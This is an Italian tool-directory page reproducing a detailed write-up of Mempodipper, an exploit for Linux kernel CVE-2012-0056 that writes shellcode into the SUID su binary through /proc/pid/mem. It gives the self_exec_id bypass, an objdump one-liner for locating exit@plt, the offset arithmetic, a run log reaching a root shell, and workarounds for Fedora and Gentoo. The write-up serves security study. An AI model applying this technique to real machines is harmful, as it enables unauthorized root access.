Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2012-0056 — elevazione dei privilegi linux | Kitploit
Strumenti/GitHubGitHub/pythonone/cve-2012-0056
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitShellcodeApprendimento e FormazioneBinary Exploitation
GitHubpythonone/cve-2012-0056

CVE-2012-0056

elevazione dei privilegi linux

Vedi Repository
1610 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Escalation locale dei privilegi in Linux tramite scrittura su SUID /proc/pid/mem

Mempodipper

Presentazione di Mempodipper, un exploit per CVE-2012-0056. /proc/pid/mem è un'interfaccia per leggere e scrivere direttamente la memoria di un processo, spostandosi con gli stessi indirizzi dello spazio di memoria virtuale del processo. Nella versione 2.6.39, le protezioni contro l'accesso non autorizzato a /proc/pid/mem sono state ritenute sufficienti, e quindi il precedente #ifdef che impediva il supporto alla scrittura su memoria arbitraria di un processo è stato rimosso. Chiunque avesse i permessi corretti poteva scrivere nella memoria di un processo. Ovviamente, si è scoperto che il controllo dei permessi era implementato male. Ciò significa che tutti i kernel Linux >=2.6.39 sono vulnerabili, fino al commit di correzione di un paio di giorni fa. Esaminiamo passo dopo passo il vecchio codice del kernel e scopriamo qual è il problema.

Quando /proc/pid/mem viene aperto, viene chiamato questo codice del kernel:

root@kitploit:~
static int mem_open(struct inode* inode, struct file* file)
{
	file->private_data = (void*)((long)current->self_exec_id);
	/* OK to pass negative loff_t, we can catch out-of-range */
	file->f_mode |= FMODE_UNSIGNED_OFFSET;
	return 0;
}

Non ci sono restrizioni all'apertura; chiunque può aprire il /proc/pid/mem fd per qualsiasi processo (soggetto alle normali restrizioni VFS). Semplicemente prende nota del self_exec_id del processo originale con cui è stato aperto e lo memorizza per controlli successivi durante letture e scritture.

Le scritture (e le letture), tuttavia, hanno restrizioni di controllo dei permessi. Diamo un'occhiata alla funzione di scrittura:

root@kitploit:~
static ssize_t mem_write(struct file * file, const char __user *buf,
			 size_t count, loff_t *ppos)
{

/* unimportant code removed for blog post */	

	struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
	
/* unimportant code removed for blog post */

	mm = check_mem_permission(task);
	copied = PTR_ERR(mm);
	if (IS_ERR(mm))
		goto out_free;

/* unimportant code removed for blog post */	

	if (file->private_data != (void *)((long)current->self_exec_id))
		goto out_mm;

/* unimportant code removed for blog post
 * (the function here goes onto write the buffer into the memory)
 */	

Quindi ci sono due controlli rilevanti in atto per prevenire scritture non autorizzate: check_mem_permission e self_exec_id. Facciamo prima il primo e poi il secondo.

Il codice di check_mem_permission chiama semplicemente __check_mem_permission, quindi ecco il codice di quest'ultimo:

root@kitploit:~
static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
	struct mm_struct *mm;

	mm = get_task_mm(task);
	if (!mm)
		return ERR_PTR(-EINVAL);

	/*
	 * A task can always look at itself, in case it chooses
	 * to use system calls instead of load instructions.
	 */
	if (task == current)
		return mm;

	/*
	 * If current is actively ptrace'ing, and would also be
	 * permitted to freshly attach with ptrace now, permit it.
	 */
	if (task_is_stopped_or_traced(task)) {
		int match;
		rcu_read_lock();
		match = (ptrace_parent(task) == current);
		rcu_read_unlock();
		if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
			return mm;
	}

	/*
	 * No one else is allowed.
	 */
	mmput(mm);
	return ERR_PTR(-EPERM);
}

Ci sono due modi in cui la scrittura in memoria è autorizzata. O task == current, cioè il processo a cui si scrive è lo stesso che scrive, oppure current (il processo che scrive) ha permessi esoterici a livello ptrace per giocare con task (il processo a cui si scrive). Forse pensi di poter ingannare il codice ptrace? È tentante. Ma non lo so. Cerchiamo invece di capire come possiamo far sì che un processo scriva memoria arbitraria su se stesso, così che task == current.

Ora, naturalmente, vogliamo scrivere nella memoria dei processi suid, perché così possiamo ottenere root. Dai un'occhiata a questo:

root@kitploit:~
$ su "yeeeee haw I am a cowboy"
Unknown id: yeeeee haw I am a cowboy

su sputerà su stderr qualsiasi testo tu voglia, preceduto da "Unknown id:". Quindi, possiamo aprire un fd verso /proc/self/mem, fare lseek alla posizione giusta in memoria per la scrittura (ne parleremo più avanti), usare dup2 per accoppiare stderr e il fd di mem, e poi exec verso su $shellcode per scrivere uno spawner di shell nella memoria del processo, e poi abbiamo root. Davvero? Non così facile.

Qui entra in gioco l'altra restrizione. Dopo aver superato il test task == current, controlla se il self_exec_id corrente corrisponde al self_exec_id con cui è stato aperto il fd. Che diavolo è self_exec_id? È referenziato solo in pochi punti del kernel. Il più importante si trova all'interno di exec:

root@kitploit:~
void setup_new_exec(struct linux_binprm * bprm)
{
/* massive amounts of code trimmed for the purpose of this blog post */

	/* An exec changes our domain. We are no longer part of the thread
	   group */

	current->self_exec_id++;
			
	flush_signal_handlers(current, 0);
	flush_old_files(current->files);
}
EXPORT_SYMBOL(setup_new_exec);

self_exec_id viene incrementato ogni volta che un processo fa exec. Quindi in questo caso funziona in modo che tu non possa aprire il fd in un processo non-suid, fare dup2, e poi exec verso un processo suid... che è esattamente ciò che stavamo cercando di fare sopra. Un modo piuttosto intelligente di scoraggiare il nostro attacco, eh?

Ecco come aggirarla. Creiamo un processo figlio con fork, e dentro quel figlio, facciamo exec verso un nuovo processo. Il figlio iniziale derivato dalla fork ha un self_exec_id uguale a quello del padre. Quando facciamo exec verso un nuovo processo, self_exec_id viene incrementato di uno. Nel frattempo, il padre stesso è occupato a fare exec verso il nostro processo su che scrive lo shellcode, quindi il suo self_exec_id viene incrementato allo stesso valore. Quindi quello che facciamo è questo: facciamo sì che questo figlio faccia fork e exec verso un nuovo processo, e dentro quel nuovo processo apriamo un fd verso /proc/parent-pid/mem usando il pid del processo padre, non il nostro processo (come accadeva prima). Possiamo aprire il fd in questo modo perché non c'è alcun controllo dei permessi per una semplice apertura. Quando viene aperto, il suo self_exec_id è già stato incrementato al valore giusto che il self_exec_id del padre avrà quando faremo exec verso su. Quindi, alla fine, passiamo il fd aperto dal processo figlio al processo padre (usando un po' di magia molto oscura con unix domain sockets), facciamo i nostri dup2, ed eseguiamo exec dentro su con lo shellcode.

Resta un'ultima obiezione. Dove scriviamo? Dobbiamo fare lseek alla posizione di memoria corretta prima di scrivere, e ASLR randomizza gli spazi degli indirizzi dei processi rendendo impossibile sapere dove scrivere. Dovremmo dedicare tempo a escogitare un metodo più intelligente per leggere la memoria del processo e poi effettuare una ricerca? No. Guarda questo:

root@kitploit:~
$ readelf -h /bin/su | grep Type
   Type:                              EXEC (Executable file) 

Ciò significa che su non ha una sezione .text rilocabile (altrimenti avrebbe restituito "DYN" invece di "EXEC"). Si scopre che su nella stragrande maggioranza delle distribuzioni non è compilato con PIE, disabilitando ASLR per la sezione .text del binario! Quindi abbiamo scelto su saggiamente. Gli offset in memoria saranno sempre gli stessi. Quindi, per trovare il punto giusto in cui scrivere, diamo un'occhiata all'assembly che circonda la stampa del messaggio di errore "Unknown id: blabla".

Recupera la stringa di errore qui:

root@kitploit:~
  403677:       ba 05 00 00 00          mov    $0x5,%edx
  40367c:       be ff 64 40 00          mov    $0x4064ff,%esi
  403681:       31 ff                   xor    %edi,%edi
  403683:       e8 e0 ed ff ff          callq  402468 (dcgettext@plt)

E poi la scrive su stderr:

root@kitploit:~
  403688:       48 8b 3d 59 51 20 00    mov    0x205159(%rip),%rdi        # 6087e8 (stderr)
  40368f:       48 89 c2                mov    %rax,%rdx
  403692:       b9 20 88 60 00          mov    $0x608820,%ecx
  403697:       be 01 00 00 00          mov    $0x1,%esi
  40369c:       31 c0                   xor    %eax,%eax
  40369e:       e8 75 ea ff ff          callq  402118 (__fprintf_chk@plt)

Chiude il log:

root@kitploit:~
  4036a3:       e8 f0 eb ff ff          callq  402298 (closelog@plt)

E poi esce dal programma:

root@kitploit:~
  4036a8:       bf 01 00 00 00          mov    $0x1,%edi
  4036ad:       e8 c6 ea ff ff          callq  402178 (exit@plt)

Vogliamo quindi usare 0x402178, che è la funzione di uscita che viene chiamata. In un exploit, possiamo automatizzare la ricerca del simbolo exit@plt con un semplice one-liner bash:

root@kitploit:~
$ objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'
0x402178

Quindi, naturalmente, vogliamo scrivere a 0x402178 meno il numero di lettere nella stringa "Unknown id: ", in modo che il nostro shellcode sia posizionato esattamente nel punto giusto.

Lo shellcode dovrebbe essere semplice e standard. Imposta uid e gid a 0 ed esegue exec di una shell. Se vogliamo essere furbi, possiamo riaprire stderr scegliendo un altro fd su cui reindirizzare stderr prima di fare dup2 del fd di memoria su stderr, e poi nello shellcode facciamo dup2 di quell'altro fd di nuovo su stderr.

Alla fine, l'exploit funziona a meraviglia con totale affidabilità:

root@kitploit:~
CVE-2012-0056 $ ls
build-and-run-exploit.sh  build-and-run-shellcode.sh  mempodipper.c  shellcode-32.s  shellcode-64.s
CVE-2012-0056 $ gcc mempodipper.c -o mempodipper
CVE-2012-0056 $ ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2# 

Puoi guardare un video che lo mostra in azione.

Un ringraziamento a Dan Rosenberg per i suoi continui consigli e supporto. Al momento non rilascio alcun codice sorgente, perché Linus l'ha corretto solo molto recentemente. Dopo che sarà passato un periodo di tempo ragionevole, o se qualcun altro lo farà prima, pubblicherò. Se sei uno studente che cerca di imparare cose nuove o hai altre ragioni legittime, possiamo parlarne.

Aggiornamento: evidentemente, basandosi su questo post del blog, ironicamente, alcuni altri hanno creato exploit e li hanno pubblicati. Quindi, ecco il mio. Ho scritto a mano lo shellcode per 32-bit e 64-bit. Buon divertimento!

Aggiornamento 2: a quanto pare, Fedora compila molto opportunamente il proprio su con PIE, il che sconfigge questo attacco. Sfortunatamente, non compilano tutti i loro binari SUID con PIE, e quindi questo attacco è ancora possibile con, ad esempio, gpasswd. Il codice per farlo si trova nel ramo "fedora" del repository git, ed è disponibile anche una dimostrazione video.

Aggiornamento 3: Gentoo è abbastanza intelligente da rimuovere i permessi di lettura sui binari SUID, rendendo impossibile trovare l'offset di exit@plt usando objdump. Ho determinato un altro modo per farlo, usando ptrace. Ptrace consente il debug di qualsiasi programma in memoria. Per i programmi SUID, il ptrace farà perdere i privilegi, ma va bene, perché vogliamo semplicemente trovare posizioni di memoria interne. Analizzando l'opcode del binario al momento giusto, possiamo decifrare l'indirizzo di destinazione della chiamata successiva dopo la stampa del messaggio di errore. Ho creato una utility autonoma che restituisce l'offset, oltre a integrarla nel sorgente principale di mempodipper.

{Come sempre, questo lavoro è strettamente accademico e non è destinato a un uso oltre la ricerca e l'istruzione.}

Scarica lo strumento